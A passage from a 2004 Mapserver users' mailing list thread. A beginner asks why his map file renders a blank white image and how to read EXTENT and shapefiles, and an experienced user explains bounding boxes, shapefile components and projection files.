as what TYPE says in test.map.

Based on the above map file, nothing is generated but a plain, white 
image. Changing the IMAGECOLOR does change the color of the image, so 
its not a web caching issue.

I would like to browse the ERSI Shapefiles to see the maps in them, 
whats a good program I can use on Linux to do so? I do not have access 
to a Microsoft based system. Is there a generic .map file I can use with 
Mapserver to browse my ERSI Shapefiles? Dont say GRASS, im not a GIS 
professional, I cant understand that program...

How can I view the 'layers' in my shapefiles?

I am using Debian 3.1 unstable, on kernel 2.4.22 on x86. Mapserver 
version is 4.0.1, GCC 3.3.3, Mapserver configure command = ./configure 
--with-ogr=/home/jamesmc/src/gdal-1.1.9 --with-gdal --with-proj 
--with-jpeg --with-gd --with-httpd=/usr/sbin/apache

Apache version is 1.3.29
PHP/Mapscript not built, using mapserv cgi binary.

No errors encountered in the browser, or in HTTPD logs.

URL 
http://127.0.0.1/cgi-bin/mapserv?map=/home/jamesmc/asm2.air-stream.org/maps/maps/test.map&mode=map

I hope someone is able to shed light on these questions, I would rather 
do it myself with Mapserver than use mapblast, which cant generate an 
Australian map to save its life...

Regards

James Mclean



From rich at greenwoodmap.com  Sat Jan 31 23:41:34 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sun, 01 Feb 2004 07:41:34 +0000
Subject: [Mapserver-users] A few Mapserv questions
In-Reply-To: <401C6775.9030207@lanpad.org>
References: <401C6775.9030207@lanpad.org>
Message-ID: <401CADAE.6050709@greenwoodmap.com>

James Mclean wrote:

> Hi All,
>
> I have worked through the Tutorial on getting mapserver 4.0 to work, 
> but after the first tutorial I have some questions...
>
> Please bear in mind that I am new to this GIS type stuff, its like 
> learning french to me. Im a programmer, not a GIS guy :)
>
> I have created a basic .map as outlined in the tutorial, and after 
> working through some problems because of a missing PROJ library, I 
> have a working mapserv binary.
>
> The basic map file I am using (test.map) is as below... A direct copy 
> and paste from the tuit, with the nesicerry changes.
>
> MAP
>   IMAGETYPE PNG
>   EXTENT 254184.15504499 6174213.6411365 314868.3598851 6210501.3473782
>   SIZE 400 300
>   SHAPEPATH "/home/jamesmc/asm2.air-stream.org/maps/i5409/"
>   IMAGECOLOR 255 255 255
>
>   PROJECTION
>     "proj=laea"
>     "ellps=clrk66"
>     "lat_0=45"
>     "lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   # "init=epsg:2163"
>   #
>   END
>
>   # Start of LAYER DEFINITIONS 
> ---------------------------------------------
>   LAYER # States polygon layer begins here
>     NAME states
>     DATA i5409t_r
>     STATUS DEFAULT
>     TYPE POLYGON
>
>     PROJECTION
>       "init=epsg:4269"
>     END
>
>     CLASS
>       COLOR 232 232 232
>       OUTLINECOLOR 32 32 32
>     END
>   END # States polygon layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
> END # end of map file/object
>
> First question is, the EXTENT paramerter in the map file. What exactly 
> are the numbers ment to be? The tuit says 'Meters', so I assume that 
> means Easting, Northing, but what are the last two?

The extent is the coordinates that define the bounding box of your data, 
or area of interest as minx, miny, maxx, maxy, or west, south, east, 
north bounds. This may bi in linear units (meters, feet, etc.) or 
angular units (degrees of latitude and longitude). They must correspond 
to your data. Read the docs 
http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#map

> How can I tell what format my maps use?

That can be hard. Ideally the data comes with a statement saying what 
coordinate system and units the data is in. I see your data includes 
.prj files, which define the coordinate system, so run gdalinfo.exe 
foo.shp and it will give you  coordinate info.

>
> Second question is, I have my SHAPEPATH set correctly (I presume), the 
> directory has 242 files with the extensions .dbf, .prj, .shp, .shx. I 
> assume these are the ERSI Shapefiles I need to reference?

Yes. a "shape" file is a collection of files having the same name, but  
a different extensions. The .shp contains the spatial info (geometry) 
The .dbf is just a standard dBase file. The .prj defines the coordinate 
system.

>
> The data I downloaded was 1:250K Australian maps, in the MapInfo 
> Shapefile format.

MapInfo files are not shape files. MapInfo files are a similar group of 
files, that as a minimum include a .tab file. Althought MapInfo data 
format is supported in mapserver via OGR, stick with the shape files if 
they are available.

>
> In the LAYER section, I have 'DATA i5409t_r', but i5409t_r is just one 
> file. What if the data I want is not in that particular file? How do I 
> know what is in each file? 

Grab a free viewer off the ESRI site, or off the freegis site. You can 
quickly view each file, and also see the coordinates.

-- 
Richard Greenwood
www.greenwoodmap.com